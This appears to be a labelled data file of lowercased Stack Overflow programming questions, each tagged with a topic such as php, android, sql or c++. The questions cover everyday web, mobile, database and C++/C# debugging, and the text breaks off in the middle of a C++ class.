how to change the ng-model value to upper case for validation <pre><code> &lt;div class= form-group  ng-class= { active : field ==  country    has-error has-feedback  :country.$invalid &amp;&amp; submitted} &gt;         &lt;label class= col-xs-2 control-label muted  for= country &gt;country&lt;/label&gt;         &lt;div class= col-xs-9 &gt;             &lt;input type= text  class= form-control  id= country  name= country  ng-change= changesmade()  ng-model= data.country  ng-readonly= previewmode  ng-focus= field= country ;showhelp()  ng-required= contactpersonid &gt;            &lt;/div&gt;     &lt;/div&gt; </code></pre>   based on this field the state s required. but it can be either capital or lower case how i can i add filter to it   <pre><code>&lt;div class= col-xs-4 pad-none  ng-class= { has-error has-feedback  : (data.country == us  || data.country == canada  | uppercase) &amp;&amp; state.$invalid &amp;&amp; submitted } &gt;     &lt;div class= col-xs-4  &gt;         &lt;label class= control-label muted  for= state &gt;state&lt;/label&gt;     &lt;/div&gt;     &lt;div class= col-xs-8 pad-none &gt;         &lt;input type= text  class= form-control  id= state  name= state  ng-change= changesmade()  ng-model= data.state  ng-readonly= previewmode  ng-focus= field= state ;showhelp()  ng-required= data.country  == us   || data.country  == canada   &gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,angularjs
how to get params from android.intent.action.send  i have registered my activity in the manifest as android.intent.action.send. now  after pressing share on every app  my application pops - which is great  but i didn t understand how do i fetch the parameters the other app sent to me     thanks,android
turning error reporting off php  i wanted to turn off the error reporting on a website. googling for it i found that placing the code mentioned below in the website stops the errors from getting displayed on the screen. i placed it into my website but it did not work. please help me out. thanks   <pre><code>&lt; php  error_reporting(0); // turn off all error reporting   &gt; </code></pre>,php
how to remove apk in production track in google play console   i accidentally uploaded application in production and now i am not able to do beta testing. how to remove my application from production,android
php test for 100 different types of input values  i am  getting input form form submission and depending on the user input which can be over 100 different types i want to do something what should i use to do this.    i am thinking about using switch case   <pre><code>switch( strtolower($value) ) {  case  99 : $url =  http://www.numericprocessor.com/ ; break;  case  ninetynine : $url =  http://www.alphabeticprocessor.com/ ; break;  default: $url =  /invalidoption.html ; break; } </code></pre>   is the way to go  or should i try something else     what are its alternatives if any,php
500 (internal server error) when i display the data from the variable in rails  i got this error.   <pre><code>get http://localhost:3000/activities/undefined 500 (internal server error) </code></pre>   in browser console log. when i tried to display the data by this variable in my .erb template file.   <pre><code>&lt;h1&gt;&lt;%= @activity.name %&gt;&lt;/h1&gt;  </code></pre>   this is my controller method.   <pre><code>def activities_details     @activity = activity.find_by(id: params[:id])    @temple = temple.find_by(id: @activity.temple_id)     render :template =&gt;  front_pages/activity_details  end </code></pre>   this page still works fine but i still confusing why this error keeps happening.   #   i found the reason it seems like rails call  get request from my link twice. first time is the correct request but second time is the wrong one. this is log from the server   <pre><code>started get  /activities/24  for ::1 at 2016-02-22 14:19:13 +0800 processing by frontpagescontroller#activities_details as html   parameters: { id =&gt; 24 }   activity load (0.4ms)  select   activities .* from  activities  where  activities . id  = $1  order by  activities . created_at  desc limit 1  [[ id   24]]   temple load (0.4ms)  select   temples .* from  temples  where  temples . id  = $1  order by  temples . created_at  desc limit 1  [[ id   7]]   rendered front_pages/activity_details.html.erb within layouts/application (0.3ms)   rendered shared/_header.html.erb (3.8ms)   rendered shared/_footer.html.erb (0.1ms) completed 200 ok in 419ms (views: 414.3ms | activerecord: 0.8ms)   started get  /assets/shutterstock_96393731.jpg  for ::1 at 2016-02-22 14:19:13 +0800   started get  /activities/undefined  for ::1 at 2016-02-22 14:19:13 +0800 processing by frontpagescontroller#activities_details as html   parameters: { id =&gt; undefined }   activity load (0.6ms)  select   activities .* from  activities  where  activities . id  = $1  order by  activities . created_at  desc limit 1  [[ id   0]] completed 500 internal server error in 10ms (activerecord: 0.6ms)  nomethoderror (undefined method `temple_id  for nil:nilclass):   app/controllers/front_pages_controller.rb:36:in `activities_details  </code></pre>   this is my link from the previous page.   <pre><code>&lt;%= link_to  details   activity_show_path(activity.id)  class:  btn_1 %&gt; </code></pre>   my routes   <pre><code>get  /activities/:id  =&gt;  front_pages#activities_details   :as =&gt;  activity_show  </code></pre>   thanks!,ruby-on-rails
c# - scripting - file still being used  i m using the <em>codedomprovider</em> class to compile my scripts in a certain application i m developing. those are the 3 methods i m using.   <pre><code>public static void compilenpcscripts(bool ploadcompiledscripts)     {         dictionary&lt;string  datetime&gt; compiledscripts = new dictionary&lt;string  datetime&gt;();          foreach (var script in system.io.directory.getfiles( ..\\datasvr\\script\\compiled\\    *.compiled ))         {             compiledscripts.add(system.io.path.getfilenamewithoutextension(script)  system.io.file.getlastwritetime(script));         }          list&lt;string&gt; needcompliation = new list&lt;string&gt;();         foreach (var script in system.io.directory.getfiles( ..\\datasvr\\script\\    *.s ))         {             var shortname = system.io.path.getfilenamewithoutextension(script);             if (!compiledscripts.containskey(shortname) || compiledscripts[shortname] &lt; system.io.file.getlastwritetime(script))             {                 needcompliation.add(script);             }         }          foreach (var script in needcompliation)         {             var shortname = system.io.path.getfilenamewithoutextension(script);              _usablenpcscripts.remove(shortname);              compilerresults results = compilescript(scripttype.npc  script);         }          foreach (var script in system.io.directory.getfiles( ..\\datasvr\\script\\compiled\\    *.compiled ))         {             var shortname = system.io.path.getfilenamewithoutextension(script);              if (!_usablenpcscripts.containskey(shortname))             {                 _usablenpcscripts.add(shortname  assembly.loadfile(environment.currentdirectory +  \\  + script));             }         }          if (ploadcompiledscripts)         {             foreach (keyvaluepair&lt;string  assembly&gt; script in _usablenpcscripts)             {                 gameserver.npcscripts.add(script.key  (inpcscript)scriptingtools.findinterface(script.value   inpcscript ));             }         }         else         {             foreach (var script in needcompliation)             {                 var shortname = system.io.path.getfilenamewithoutextension(script);                  if (gameserver.npcscripts.containskey(shortname))                 {                     gameserver.npcscripts[shortname] = (inpcscript)scriptingtools.findinterface(_usablenpcscripts[shortname]   inpcscript );                 }             }         }     }      public static compilerresults compilescript(scripttype ptype  string psource)     {         try         {             if (_compiler == null)             {                 _compiler = codedomprovider.createprovider( csharp );                 _compilerparams = new compilerparameters();                  _compilerparams.generateexecutable = false;                 _compilerparams.compileroptions =  /optimize ;                 // todo: should it be generated in memory                  _compilerparams.generateinmemory = false;                 _compilerparams.includedebuginformation = false;                 _compilerparams.referencedassemblies.add( system.dll );                 _compilerparams.referencedassemblies.add(assembly.getexecutingassembly().location);                 { }                 int lol;             }              _compilerparams.outputassembly =  scripts\\  + ptype +  \\compiled\\  + system.io.path.getfilenamewithoutextension(psource) +  .compiled ;             var result = _compiler.compileassemblyfromfile(_compilerparams  psource);              if (system.io.file.exists(_compilerparams.outputassembly))             {                 system.io.file.setlastwritetime(_compilerparams.outputassembly  system.io.file.getlastwritetime(psource));             }              return result;         }         catch         {             // stil being used by the user.             return null;         }     }      public static object findinterface(assembly pdll  string pinterface)     {         foreach (type type in pdll.gettypes())         {             if (type.getinterface(pinterface  true) != null)                 return pdll.createinstance(type.fullname);         }          return null;     } </code></pre>   the boolean  ploadcompiledscripts  is to tell the program if the script should be <em>reloaded</em> or <em>inserted</em>. gameserver s npcscripts dictionairy is just a collection of the interface inpcscript.     now. on the initla load i call the following: compilenpcscripts(true)  so it will check for the files that need compliation  will recompile them and then will load all of them to the dictionairy. i also have a filewatcher class which watches the script folder for changes. once the event is raised  i call compilenpcscripts(false)  so it will reload existing scripts. however  the compilescript method returns null because the file  [name].compiled  is being used by another process. why is it like so an dhow can i solve it  thanks.,c#
clipping a uiview while zooming in  i have a custom uiview that draws some data and another more detailed view that draws some components of the first view.  what i want to do is after a gesture  zoom in  hide the first view  and then show the second view to give the user the context that they are zooming in deeper.      i thought i would start by doing something like this:   <pre><code>cgaffinetransform zoomtransform = cgaffinetransformmakescale(2  2); [uiview animatewithduration:2 animations:^{     self.chromomap.transform = zoomtransform;         }]; </code></pre>   it does zoom in on that area by scaling that uiview.  however  i don t want my uiview to actually grow.  if my cgrect is {0  0}  {100  100}.  i want the frame of the uiview to stay the same  but just the contents inside it to scale by 2 to give that zoom effect.  how would i do that   thanks.,iphone
sql - i need to use the where keyword but it throws errors  i ve been practicing sql online and i m stuck on this problem. i need to use the where keyword but it doesn t include the null value if i use it. when i don t use it  it throws an error for incorrect number of rows.    here s my code:   <pre><code>select categories.name  sum(order_items.price) as revenue from categories left join products on categories.id = products.category_id join order_items on products.id = order_items.product_id join orders on orders.id = order_items.order_id where orders.year between 2016 and 2018 group by categories.name order by revenue desc; </code></pre>   here s the question:    select the name of each product category along with the revenue (name that column revenue) that it generated between 2016 and 2018. sort the results by revenue in descending order.    and here are the tables:   <pre><code>categories(id  name) order_items(id  order_id  product_id  quantity  price) orders(id  client_id  year  total_price) products(id  name  category_id  price) </code></pre>   here s what the output should look like (sort of  i don t have the row with the value houseware in it because it s revenue is null and won t show up):   <pre><code>      name       | revenue |  -----------------+---------+  office supplies |   30600 |  electronics     |   23000 |  games           |   11000 |  clothes         |    3450 |  teas            |    2500 |  beauty products |    1650 |  party supplies  |    1350 | </code></pre>   edit: it s an online sql exercise  so the code is checked online  i m not sure what server it s using - just that the language is sql. the error i got when i used the where statement is wrong number of rows.    the error i get when i just take out the where clause is: data from the query is not correct or is in wrong order.    edit 2: i got all the rows thanks to the first comment but the null is still the first row of the table and it has to be the last row because they re considering null to be the lowest and the revenue is in descending order.,sql
meaning of *(volatile unsigned int *) 0x00 = 0x00;  what is the meaning of the following line of code    <pre><code>*(volatile unsigned int *) 0x00 = 0x00; </code></pre>   it is used in assert definition:   <pre><code>void assert() {     // (some other code above)      *(volatile unsigned int *) 0x00 = 0x00;      return; } </code></pre>,c++
any replacement for get_header in php   i am creating a function which crawls links from a page.  now there can be different ways of specifying links in href tag..    1) <a href= http://example.com  rel= nofollow >http://example.com</a>    2) <a href= http://www.example.com  rel= nofollow >http://www.example.com</a>    3) example.com    4) files/downloads    5) www.example.com    now here the 1)  2) and 5) are in proper format.  but before adding 3) and 4) i want to make them in proper url format...    which means 3) should become <a href= http://example.com  rel= nofollow >http://example.com</a> and 4) should become     http:// thecurrentpageurldomain /files/download    i am using get_headers to differentiate between a relative and independent url. so if i test headers for example.com by appending http:// in front  it would return some headers and    if i test headers for files/download by same method   it would return failed to open stream instead of some false value which i can use to know that its a relative url.     so why get_headers isnt returning false value. it is giving warning about failed to open stream.,php
how to force one view controller to display in landscape and the other always stay in portrait  i thought this would be simple and i ve read a ton on how to do this  but nothing works for me. i m using xcode 5 and ios7. i have about ten view controllers and i want all of them except one to stay in portrait mode.  i want one of the view controllers to only display in landscape left and then when finished the next or previous view controllers will always revert back to portrait only. i cannot figure out how to do this. any suggestions   i ve read a ton of the stuff posted here  but none of it seems to work for me. thanks,ios
how can i make a relatively positioned parent that contains absolutely positioned children have  flexible  height   <code>&lt;img&gt;</code> (child) is absolutely centered within <code>.carousel</code> (parent). however  with responsive behavior  i would like to have <code>.carousel</code> (parent) have a height relative to the screen size and/or relative to the tallest <code>&lt;img&gt;</code>. again  <code>&lt;img&gt;</code> height will vary depending on screen width.   <pre><code>.carousel {   background: #dfe2e4;   background: url(../images/bg/port-bg.png) no-repeat top center;   background-size: contain;   margin: 4px;   min-height: 221px;   position: relative; }  .carousel img {   margin: auto;   width: 100%;   /*  absolute  centering. */   position: absolute;   top: 0;   right: 0;   bottom: 0;   left: 0; } </code></pre>   i think we can get this to work with js  but using js for styles sort of makes me cringe a little bit.,css
rails generating one project with xml and other with json formatting  i have two ruby on rails projects on my computer. for some reason  when i generate a scaffold in one project i get:   <pre><code>  # post /users   # post /users.xml   def create     @user = user.new(params[:user])     respond_to do |format|       if @user.save         format.html { redirect_to(@user  :notice =&gt;  user was successfully created. ) }         format.xml  { render :xml =&gt; @user  :status =&gt; :created  :location =&gt; @user }       else         format.html { render :action =&gt;  new  }         format.xml  { render :xml =&gt; @user.errors  :status =&gt; :unprocessable_entity }       end     end   end </code></pre>   and in the other:   <pre><code>  # post /users   # post /users.json   def create     @user = user.new(params[:user])      respond_to do |format|       if @user.save         format.html { redirect_to @user  notice:  user was successfully created.  }         format.json { render json: @user  status: :created  location: @user }       else         format.html { render action:  new  }         format.json { render json: @user.errors  status: :unprocessable_entity }       end     end   end </code></pre>   the weird thing is that i am generating both in the <em>same</em> computer.  when i do ruby -v i get 1.9.2.    how can i configure the scaffold to generate one or the other  right now i am interested in .xml  but maybe i ll switch both to json someday. anyways  i know i can do this manually  but it is a lot of work if you have several tables (or even with one table). how can i tell rails i want one format in particular by default,ruby-on-rails
how to handle the event for the uicollectionview custom cell   i have created a custom cell for the uicollectionview. the custom cell has two uiimageview - imageview1 and imageview2.    how should i handle the event for each imageview  i can get handle only the cell event on didselecteditemindex delegate of uicollectionview. i want to get handle for each imageview.   <pre><code>- (void)collectionview:(uicollectionview *)collectionview didselectitematindexpath:(nsindexpath *)indexpath {     photosviewcell *cell = (photosviewcell*)[collectionview cellforitematindexpath:indexpath];   int tag1 = cell.imageview1.tag;  int tag2 = cell.imageview2.tag;   .... } </code></pre>,ios
how to use coremotion without sprite kit to tilt image to the left and to the right  how to use coremotion without sprite kit to tilt image to the left and to the right    hi all     im currently trying to research how to use core motion framework without sprite kit. could not find any on the web. can anyone demonstrate how to move an image right when iphone is tilted right. and something when it is tilted left without the use of the sprite kit.   <pre><code> this is what i have so far. does this look correct   cmmotionmanager *motionmanager = [[cmmotionmanager alloc] init]; motionmanager.devicemotionupdateinterval = 1.0/10.0;  if (!motionmanager.isdevicemotionavailable) {      cgpointmake(bird.center.x-1  bird.center.y-upmovement); </code></pre>,objective-c
why does the sql select statement fail   in the scenario below  the final select from the combine view fails  any ideas why       the subset table does not have a row that corresponds to the one in mastercodes that wouldn t cast to an integer value.   <pre><code>create table mastercodes (   id int   code varchar(10) ) go  create table subset (   id int ) go   create view combine as select s.id   m.code   cast(m.code as int) intcode from subset s inner join mastercodes m on m.id = s.id go  insert mastercodes (id  code) values (1   1 ) insert mastercodes (id  code) values (2   2 ) insert mastercodes (id  code) values (3   three ) insert mastercodes (id  code) values (4   4 ) insert subset (id) values (1) insert subset (id) values (2) insert subset (id) values (4)   select * from combine -- 3 rows returned  select * from combine where code =  2  -- 1 row returned  select * from combine where code =  3  -- 0 rows returned  select * from combine where intcode = 2 -- fails  error msg is  msg 245  level 16  state 1  line 15 conversion failed when converting the varchar value  three  to data type int. </code></pre>   environment is sql2k5 standard (64-bit) on win2k3 server r2,sql
visual studio 2010  include openssl problem  i used :   <pre><code>#include &lt;openssl/ssl.h&gt; </code></pre>   in vs 2010 and have a problem with it. the compiler could not recognized it.  how could i include it,c++
why does it work to return an int in a method which should return an object   why does it work to return an <code>int</code> in the method <code>b minus</code> if the method is supposed to return an object of type <code>b</code>     <pre><code>#include &lt;iostream&gt;  class b { public:     int a; public:     b(int i=0)     {         a=i;     }     b minus()     {         return (1-a);     } };  int main() {     b x(18);     x = x.minus();     std::cout &lt;&lt; x.a &lt;&lt;  \n ;     return 0; } </code></pre>,c++
python change order of month and day in date format  i have a column that displays date as 2016/26/2 (d/m/y)    how can i display it as 2/26/2016 (m/d/y)    <pre><code>[in] print(nir[ date ]) [out] 0    2005-01-12       1    2006-01-03       2    2006-01-06       3    2006-01-09       4    2006-01-12       5    2007-01-03       6    2007-01-06       7    2007-01-09       8    2007-01-12 </code></pre>   i tried to do this:   <pre><code>      nir.date = [ {}-{}-{} .format(m d y) for y  m  d in map(lambda x: str(x).split( - )  nir.date)] </code></pre>   but no luck... is there any way to easily swap places of month and day without converting to strings,python
how can i decode this encoded javascript file   i have to deal with a very strange javascript file. it s called with a standard   <pre><code>&lt;script src=xxxx.js type=text/javascript&gt;&lt;/script&gt; </code></pre>   but xxxx.js is somehow packed/encrypted/whatever. the first characters are:   <blockquote>    #@~^3wcaaa==@#@&amp;0;   mdkw  </blockquote>   and there is not any pattern in it. there isn t any sign of known function as eval or equivalent.    how can i manage to read it s content  is it a character set trick,javascript
video decoder configure  i am writing a app which decodes video samples and plays decodes samples. for this i am using mediaextractor api. while configuring decoder i am getting error. here is my log   <pre><code>01-08 11:46:50.225: e/acodec(23085): [omx.qcom.video.decoder.avc] configurecodec returning error -2147483648 01-08 11:46:50.225: a/mediacodec(23085): frameworks/av/media/libstagefright/mediacodec.cpp:743 check_eq( mstate initialized) failed: 3 vs. 2 01-08 11:46:50.225: a/libc(23085): fatal signal 11 (sigsegv) at 0xdeadbaad (code=1)  thread 23136 (mediacodec_loop) 01-08 11:46:50.225: i/omxclient(23085): using client-side omx mux. 01-08 11:46:50.225: e/acodec(23085): unable to instantiate a decoder for type  video/avc . 01-08 11:46:50.225: a/acodec(23085): frameworks/av/media/libstagefright/acodec.cpp:3302 check(mcodec-&gt;mnode != null) failed. 01-08 11:46:50.225: a/libc(23085): fatal signal 11 (sigsegv) at 0xdeadbaad (code=1)  thread 23137 (codeclooper) </code></pre>   and here is my code   <pre><code>    for (int i = 0; i &lt; videoextractor.gettrackcount(); i++) {                     mediaformat format = videoextractor.gettrackformat(i);                     string mime = format.getstring(mediaformat.key_mime);                     if (mime.startswith( video/ )) {                         videoextractor.selecttrack(i);                         videoextractorforseek.selecttrack(i);                         videodecoder = mediacodec.createdecoderbytype(mime); //error is in below line                         videodecoder.configure(format  surface  null  0);                         break;                                 }                 } </code></pre>   this code working in android version 4.2 and above. and failing in 4.1.2,android
send email notification to follower  i want to send an email notification to an user x when user y is starting to follow user x    i have the following method in my follows controller:   <pre><code>  class followscontroller &lt; applicationcontroller    before_action :authenticate_user!    def create     @user = user.find(params[:id])     if @user.present        current_user.follow!(@user)    modelmailer.new_follower_notification(@user).deliver     end   end    def destroy     @user = user.find(params[:id])     if @user.present        follow = current_user.follows.get_follow(@user).first if current_user.follows       if follow         follow.destroy       end     end     respond_to do |format|       format.js { render :file =&gt;  /follows/create   :handlers =&gt; [:erb] }     end   end    end </code></pre>   my modelmailer:   <pre><code>def new_follower_notification(user)     @user = user     mail to: user.email  subject:  #{@user.name}  you are now followd by others.   bcc:  oliviervanhees@gmail.com    end </code></pre>   in my view folder i have a create.js.erb file   <pre><code>&lt;% if @user %&gt;   $( #user_&lt;%= @user.id %&gt; ).html( &lt;%= escape_javascript(render :partial =&gt;  users/user   :locals =&gt; { :user =&gt; @user }) %&gt; ); &lt;% end %&gt; </code></pre>   and this in my routes file:   <pre><code>  match  /users/:id/follow  =&gt;  follows#create   :as =&gt; :user_follow  :via =&gt; [:post]   match  /users/:id/unfollow  =&gt;  follows#destroy   :as =&gt; :user_unfollow  :via =&gt; [:delete] </code></pre>   i try to trigger the model mailer  however i get errors by doing so. i think it is because i am using json here. anyone any suggestions who to resolve this,ruby-on-rails
remove duplicates in mysql database  i have a table with columns latitude and longitude.  in most cases the value extends past the decimal quite a bit:  -81.7770051972473  on the rare occasion the value is like this: -81.77 for some records.    how do i find duplicates and remove one of the duplicates for only the records that extend beyond two decimal places,mysql
ios screenshot delay  i d like to quickly capture a screenshot for making a video of images. i m currently using the following code however it s slightly delayed. is there a better method for taking screenshots that will be quicker    <pre><code>cgsize imagesize = [[uiscreen mainscreen] bounds].size; if (null != uigraphicsbeginimagecontextwithoptions)   uigraphicsbeginimagecontextwithoptions(imagesize  no  1); else   uigraphicsbeginimagecontext(imagesize); [self.view.layer renderincontext:uigraphicsgetcurrentcontext()]; uiimage *imagename = uigraphicsgetimagefromcurrentimagecontext(); uigraphicsendimagecontext(); </code></pre>,iphone
how to change the utc time  i have developed my application in c#. in this application opc server returns the utc time automatically. but the issue is i want to change this utc time same as system time. (the difference between system time &amp; utc time is 5.30),c#
how to force load href that uses same url but different hash params  say that my navbar has these two urls:   <pre><code>&lt;a href= /action# action_type=test &gt;test&lt;/a&gt; </code></pre>   and    <pre><code>&lt;a href= /action# action_type=tset &gt;tset&lt;/a&gt; </code></pre>   my problem is  say that you re in the  test  page  if you click on the tset page it will just change the hash params and not force a load. the reason why i m not using onclick listeners instead is because i want to let the user be able to ctrl + click on an element if they want it in a new tab. if i use onclick listeners that feature seems to go away. how should i proceed about this,html
object still available when reference counting is 0  sorry if this is an duplicated entry  i am new to oc.<br> i have turned off  object-c automatic reference counting  in build settings. and i have two classes <code>guitar</code> and <code>guitarcontroller</code>.<br> <code>guitarcontroller.m</code> looks like this:     <pre><code>#import  guitarcontroller.h   @implementation guitarcontroller  -(void) setguitar:(guitar*) newguitar {     guitar = newguitar;      // yes  i did not retain the guitar object.      // i did it on purpose to test whether something will go wrong }  -(void) playguitar {     [guitar play]; } @end </code></pre>   and <code>guitar.m</code> looks like this:   <pre><code>#import  guitar.h   @implementation guitar -(void) play {     nslog(@ play guitar!!! ); } @end </code></pre>   finally  the <code>main.m</code> code:   <pre><code>#import &lt;foundation/foundation.h&gt; #import  guitarcontroller.h   int main(int argc  const char * argv[]) {     guitar* guitar = [[guitar alloc] init];     guitarcontroller* guitarcontroller = [[guitarcontroller alloc] init];     [guitarcontroller setguitar:guitar];     [guitar release];      [guitarcontroller playguitar]; // expecting an error here     return 0; } </code></pre>   the code above works just fine. but it is obviously wrong because i referenced an object after    its reference count became 0. any clues  thanks!,objective-c
c# check merge field check box in a word document  just wondering how to check a check box on a word document  i have my c# window forms application filling in merge fields with data obtained from the forms such as textboxes and comboboxes. though i was wondering how to check a text box from with in c#     i have been trying to find this for awhile now  and have resulted in actually asking the question here.    the code below is how i connect to my word document and fill out the merge field on that document.   <pre><code>        object omissing = system.reflection.missing.value;         object otrue = true;         object ofalse = false;         word.application oword = new word.application();         word.document oworddoc = new word.document();          oword.visible = true;          if (file.exists( pathname.txt ))         {             filestream file = new filestream( pathname.txt   filemode.open  fileaccess.read);             streamreader reader = new streamreader(file);             pathname = reader.readline();         }          object otemplatepath = pathname;          oworddoc = oword.documents.add(ref otemplatepath  ref omissing  ref omissing  ref omissing);          foreach (word.field mymergefield in oworddoc.fields)         {             itotalfields++;             word.range rngfieldcode = mymergefield.code;             string fieldtext = rngfieldcode.text;              if (fieldtext.startswith(  mergefield ))             {                  int32 endmerge = fieldtext.indexof( \\ );                 int32 fieldnamelength = fieldtext.length - endmerge;                 string fieldname = fieldtext.substring(11  endmerge - 11);                  fieldname = fieldname.trim();                    if (fieldname ==  name )                 {                     mymergefield.select();                     oword.selection.typetext(firstname.text);                 }                  if (fieldname ==  name2 )                 {                     mymergefield.select();                     oword.selection.typetext(textbox6.text);                 }                  if (fieldname ==  lastname1 )                 {                     mymergefield.select();                     oword.selection.typetext(textbox3.text);                 }        } </code></pre>   any help would be appreciated.    thank you.,.net
better way to implement flipbook-style animation   i m using a <code>handler</code> to simply post at delayed intervals  cycle through an array of drawable resources and set the <code>imageresource</code> accordingly. it works just fine  but the  animation  is not super smooth. is there some other way to implement this type of animation  where i just flip through images like a flipbook,android
angular translate translatechangesuccess invoking multiple time   could you please anyone help me on angular translation  my application contains some text static and some text that are dynamic and on change language it request to api with the language key then i get the dynamic text. so how should i implement     i have implemented static translation with partial loader for static text.   <pre><code>$translateprovider.preferredlanguage( en ); $translateprovider.usemissingtranslationhandlerlog(); $translateprovider.usecookiestorage(); $translateprovider.useloader( $translatepartialloader   {              urltemplate :  views/{part}-{lang}.json          });         $translatepartialloaderprovider.addpart( home/index ); </code></pre>   for dynamic text the requesting from server  i use the angular translate event which is    <pre><code>var remove = $rootscope.$on( $translatechangesuccess    function(event    data) { //calling the service to get the dynamic data. }  $scope.$on( $destroy   remove); </code></pre>   but the issue is its get invoked multiple time and my application performance degrading.    please help if there any other best way to implement this using angular translate pascalprecht for static and dynamic content on the site.,angularjs
i want to send mail through asp.net but error occured <pre><code>using system; using system.collections.generic; using system.linq; using system.web; using system.web.ui; using system.web.ui.webcontrols; using system.web.security; using system.web.ui.webcontrols.webparts; using system.web.ui.htmlcontrols; using system.data.sqlclient; using system.componentmodel;// for backgroundworker class using system.net; using system.net.mail; using system.threading; using system.configuration; namespace mail_demo_project {   public partial class register_mail_demo : system.web.ui.page   {       protected void page_load(object sender  eventargs e)       {        }       protected void submit_click(object sender  eventargs e)       {         try         {             string from =  rashmi1810214@gmail.com ;             mailaddress mailaddress = new mailaddress(from   contact us );             mailmessage mailmessage = new mailmessage();             mailmessage.to.add( upadhyaya.monika@gmail.com );             mailmessage.from = mailaddress;             mailmessage.subject = subject_textbox.text;             string mailbody =  user email:   + message_box_textbox.text +               &lt;br/&gt; user name:   + to_username_textbox.text +  &lt;br/&gt; message:                + message_box_textbox.text;             mailmessage.body = mailbody;             mailmessage.priority = mailpriority.normal;             mailmessage.isbodyhtml = true;             system.net.networkcredential credential = new              system.net.networkcredential( rashmi1810214@gmail.com                 ***password*** );             smtpclient smtpclient = new smtpclient();             smtpclient.deliverymethod = smtpdeliverymethod.network;             smtpclient.enablessl = false;             smtpclient.host =  smtp.gmail.com ;             smtpclient.port = 587;             smtpclient.usedefaultcredentials = true;             smtpclient.credentials = credential;             smtpclient.send(mailmessage);             response.write( code successfully executed );         }         catch (exception ex)         {             response.write( exception caught in createtestmessage1(): {0} +              ex.tostring());         }     } } } </code></pre>   and error occurred :-    <blockquote>    exception caught in createtestmessage1(): {0}system.net.mail.smtpexception: the smtp server requires a secure connection or the client was not authenticated. the server response was: 5.7.0 must issue a starttls command first. d4sm6963507pfb.185 - gsmtp at system.net.mail.mailcommand.checkresponse(smtpstatuscode statuscode  string response) at system.net.mail.mailcommand.send(smtpconnection conn  byte[] command  mailaddress from  boolean allowunicode) at system.net.mail.smtptransport.sendmail(mailaddress sender  mailaddresscollection recipients  string deliverynotify  boolean allowunicode  smtpfailedrecipientexception&amp; exception) at system.net.mail.smtpclient.send(mailmessage message) at mail_demo_project.register_mail_demo.submit_click(object sender  eventargs e) in e:\dot net\projects\mail demo project\mail demo project\register_mail_demo.aspx.cs:line 76  </blockquote>,asp.net
creating an array of objects in c++  i m trying to create an array of objects in c++.    i m creating a employee object  from my constructor in my company class here:   <pre><code>employee obj(int tempidnum  double tempbase  double tempsales  double temprate);  emp[tempcount]=obj;  (this doesn t work ) </code></pre>   emp is the name of the array which is defined here  located in my company h file.   <pre><code> employee emp[4];  </code></pre>   sorry commission =employee..... here is my commission(employee) class cpp   <pre><code>    using namespace std;   //---------------------------------------- //name: default constructor //purpose: create a new object with attributes set to zero //parameters: none //returns: none //---------------------------------------- commission::commission() {     //cout &lt;&lt;  in default constructor of commission class  &lt;&lt; endl;     idnum = 0;     base  = 0.0;     rate  = 0.0;     sales = 0.0; }   //---------------------------------------- //name: initializing constructor //purpose: initialize all attributes //parameters: //  idnum - new value for id num //  base -  new value for base amount //  sales - new value for sales amount //  rate -  new value for rate fraction //returns:  none   //----------------------------------------        commission::commission(int idnum  double base  double sales  double rate) {     //cout &lt;&lt;  in initializing constructor of commission class  &lt;&lt; endl;     this-&gt;idnum = idnum;         this-&gt;base  = base;     this-&gt;sales = sales;     this-&gt;rate  = rate; }  //---------------------------------------- //name: copy constructor //purpose: constructor a new object from an existing object //parameters:  //  emp - current employee object //returns: none //---------------------------------------- commission::commission(const commission&amp; emp) {     //cout &lt;&lt;  in copy constructor of commission class  &lt;&lt; endl;     idnum = emp.idnum;     base  = emp.base;     sales = emp.sales;     rate  = emp.rate; }  //---------------------------------------- //name: operator= //purpose: the copy assignment method copies the rhs object //  into the lhs object //parameters:  //  rhs - object on the right hand side of the = sign //returns: nothing //---------------------------------------- void commission::operator=(const commission&amp; rhs) {     //cout &lt;&lt;  in copy assignment of commission class  &lt;&lt; endl;      idnum = rhs.idnum;     base  = rhs.base;     sales = rhs.sales;     rate  = rhs.rate; }  //---------------------------------------- //name: destructor //purpose: destruct object and print id num //parameters: none //returns:  //---------------------------------------- commission::~commission() {     //cout &lt;&lt;  in destructor of commission class for id num:   &lt;&lt; idnum &lt;&lt; endl; }  //---------------------------------------- //name: setidnum //purpose: set id num to a new value //parameters:  //  newidnum - new value for id num //returns: true if new id num is between 0 and 999  inclusively //   otherwise false //---------------------------------------- bool commission::setidnum(int newidnum) {     if (newidnum &gt;= 0 &amp;&amp; newidnum &lt;= 999)     {         idnum = newidnum;         return true;     }     else         return false; }  //---------------------------------------- //name: setbase //purpose: set base to a new value //parameters:  //  newbase - new value for base //returns: true if new base is greater zero; otherwise false //---------------------------------------- bool commission::setbase(double newbase) {     if (newbase &gt; 0.0)     {         base = newbase;         return true;     }     else         return false; }  //---------------------------------------- //name: setrate //purpose: set the commission rate //parameters:  // newrate - new commission rate as a percentage //returns: true if rate greater than zero and less than or equal to 0.20 //---------------------------------------- bool commission::setrate(double newrate)  {     if (newrate &gt; 0.0 &amp;&amp; newrate &lt;= 0.20)     {         rate = newrate;         return true;     }     else         return false; }  //---------------------------------------- //name: setsales //purpose: set sales to a new amount //parameters: //  newsales - new amount of sales //returns: true if sales is greater than or equal to zero; otherwise false //---------------------------------------- bool commission::setsales(double newsales)  {     if (newsales &gt;= 0.0)     {         sales = newsales;         return true;     }     else         return false; }  //---------------------------------------- //name: getidnum //purpose: get the current id num //parameters: none //returns: current id num //---------------------------------------- int commission::getidnum()   {     return idnum; }  //---------------------------------------- //name: getbase //purpose: get the current base amount of salary //parameters: none //returns: current base salary //---------------------------------------- double commission::getbase()   {     return base; }  //----------------------------------------  //name: getrate //purpose: get the current commission rate as fraction //parameters: none //returns: current commission rate //---------------------------------------- double commission::getrate() {     return rate; }  //----------------------------------------         //name: getsales //purpose: get current amount of sales //parameters: none //returns: current amount of sales //---------------------------------------- double commission::getsales() {     return sales; }  //---------------------------------------- //name: calcsalary //purpose: calculate commission as base + sales x commission rate //parameters: none //returns: amount of commission //---------------------------------------- double commission::calcsalary()  {     return (base + sales * rate); }      and here is its .h       #include &lt;string&gt; using namespace std;  #ifndef commission_h #define commission_h  class commission {     private:         int    idnum;   //id number of employee         double base;    //base salary         double rate;    //rate of commission as fraction         double sales;   //sales on which commission rate applies      public:         //constructors         commission();               //default constructor         commission(int idnum  double base  double sales  double rate);  //constructor with idnum         commission(const commission&amp; orig);  //copy constructor          